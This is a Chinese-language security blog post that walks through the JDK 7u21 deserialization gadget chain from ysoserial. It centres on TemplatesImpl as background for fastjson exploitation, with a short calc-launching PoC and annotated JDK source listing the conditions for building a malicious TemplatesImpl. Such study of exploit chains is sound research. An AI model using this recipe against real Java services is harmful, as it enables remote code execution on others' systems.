从fastjson1.24版本的反序列化利用方式知道有使用jdk7u21的版本利用链,ysoserial利用工具中也有7u21利用链。现在都是7u80版本了,这个漏洞真正直接利用,估计已经很难找到了。
但是这个利用链的构造有很多之前没接触过的java特性,就此好好学习一下,也算是fastjson的前置知识吧。
先去Oracle官网下载漏洞jdk版本7u21,漏洞影响7u25之前的版本,整条链poc貌似只适用于7u21以前。
之所以说这是JDK反序列化链,是因为这个链中所有利用类都是jdk自带的类,其中payload最终关键类是 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。
我们从ysoserial源码中抠出7u21的利用代码来分析,具体代码由于比较长,不全部在此贴出,只截取需要的部分,所有代码已上传github。
jdk7u21.java是一个包含基础核心原理POC。(Gadgets类参考github,或者可以去ysoserial中取)
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");//生成恶意的calc
calc.getOutputProperties();//调用getOutputProperties就可以执行calc
}
请注意TemplatesImpl类的getOutputProperties函数是一个以get开头的函数,这是这个利用链在fastjson组件利用的关键。
跟踪getOutputProperties方法,来确认恶意TemplatesImpl类calc 需要的条件,先看调用栈:
newInstance
从调用栈中,可见最后是obj.newInstance(obj是虚指)触发poc执行恶意代码,调用栈再往下之后就是java class类的newInsatance内部实现了,不细纠。
newinstance实例化会默认触发执行static方法,构造方法代码,如下:
所以我们的payload需要放在最后执行的恶意类的static或构造方法中。知道这点后,我们从头开始慢慢寻找其他需要条件。
跟入TemplatesImpl类的getOutputProperties方法:
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties();//我们进入newTransformer方法
} catch (TransformerConfigurationException e) { return null;
}
}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer方法
public synchronized Transformer newTransformer()
throws TransformerConfigurationException {
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//此处没有啥限制条件,进入getTransletInstance()
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
} if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
} return transformer;
}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance方法
private Translet getTransletInstance()
throws TransformerConfigurationException { try { //限制条件1:TemplatesImpl类中的_name变量!=null
if (_name == null) return null; //限制条件2:TemplatesImpl类中的_class变量==null
if (_class == null) defineTransletClasses();//进入此处,查看其他限制条件
// 漏洞触发代码就是下面这一行,_transletIndex是在defineTransletClasses()中赋值的,其实就是选取了一个特定条件的class获取它的实例。
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...//这里之后的代码不重要,省略
return translet;
} catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
在漏洞代码执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();前,
先经过com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses方法
private void defineTransletClasses()
throws TransformerConfigurationException { //限制条件3:TemplatesImpl类中的_bytecodes变量!=null
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString());
} //引入加载器
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new
//限制条件4:TemplatesImpl类中的_tfactory变量需要有一个getExternalExtensionsMap方法
// 即需要是一个TransformerFactoryImpl类
TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
}); try { //以下主要做的事情是通过加载器从_bytecodes中加载类至_class。(bytecodes可以是一个数组转换为一个数组class)
final int classCount = _bytecodes.length;
_class = new Class[classCount]; if (classCount > 1) {
_auxClasses = new Hashtable();
} for (int i = 0; i < classCount; i++) { //转化。ClassLoader.defineClass() 会转载javabyte变为class类,但是不会执行static代码。
_class[i] = loader.defineClass(_bytecodes[i]); //获取转过来的class的父类
final Class superClass = _class[i].getSuperclass(); // 对于读取进来的class的父类进行限制,满足条件才改变_transletIndex的值
// 之后将获取class[_transletIndex]的实例
// ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 限制条件5:_bytecodes的类必须是ABSTRACT_TRANSLET的子类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
} else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
} if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString());
}
} catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString());
} catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString());
}
}
_tfactory 与jdk版本
其中的限制条件4 _tfactory 这个参数是有说法的,在其他人博客中有存在对于 _tfactory 的参数的说明:
因为代码中存在 _tfactory.getExternalExtensionsMap() 所以需要 _tfactory 进行赋值 不能为null。
但其实这跟jdk版本是有关的,1.7下不同的jdk版本这段代码是不同的。
1.7u80版本的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses中就是存在_tfactory.getExternalExtensionsMap()这句代码的。
在1.7u80中,注释Gadgets类中添加 _tfactory这个字段的代码后(之后我们将详细分析Gadgets类),_tfactory=null就会发生null指针报错。
细心的同学可以注意到上面jdk1.7u80两个弹框成功不成功的下方都会null指针报错。
但是前者是在执行恶意代码AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();后
的translet.postInitialization();处报错。
而后者是在恶意代码执行之前的defineTransletClasses函数报错。即没有成功执行payload
在同样注释_tfactory这个字段的代码的情况下,使用jdk1.7u21的环境,却可以成功执行,因为jdk1.7u21的情况下并没有_tfactory.getExternalExtensionsMap()这句代码。
但是1.7u21也可以兼容给_tfactory赋值的情况,所以还是给 _tfactory 赋值比较好,可以兼容不同的版本。
TemplatesImpl恶意类的限制条件
至此总结我们构筑一个恶意的TemplatesImpl类,在调用这个恶意类的getOutputProperties方法时,需要满足的限制条件。即,构筑恶意TemplatesImpl类的需要条件。
1.TemplatesImpl类的 _name 变量 != null
2.TemplatesImpl类的_class变量 == null
3.TemplatesImpl类的 _bytecodes 变量 != null
4.TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类
5.TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
6.我们需要执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。
java培训班:http://www.baizhiedu.com/java2019
注释:部分内容来自公众号雷神众测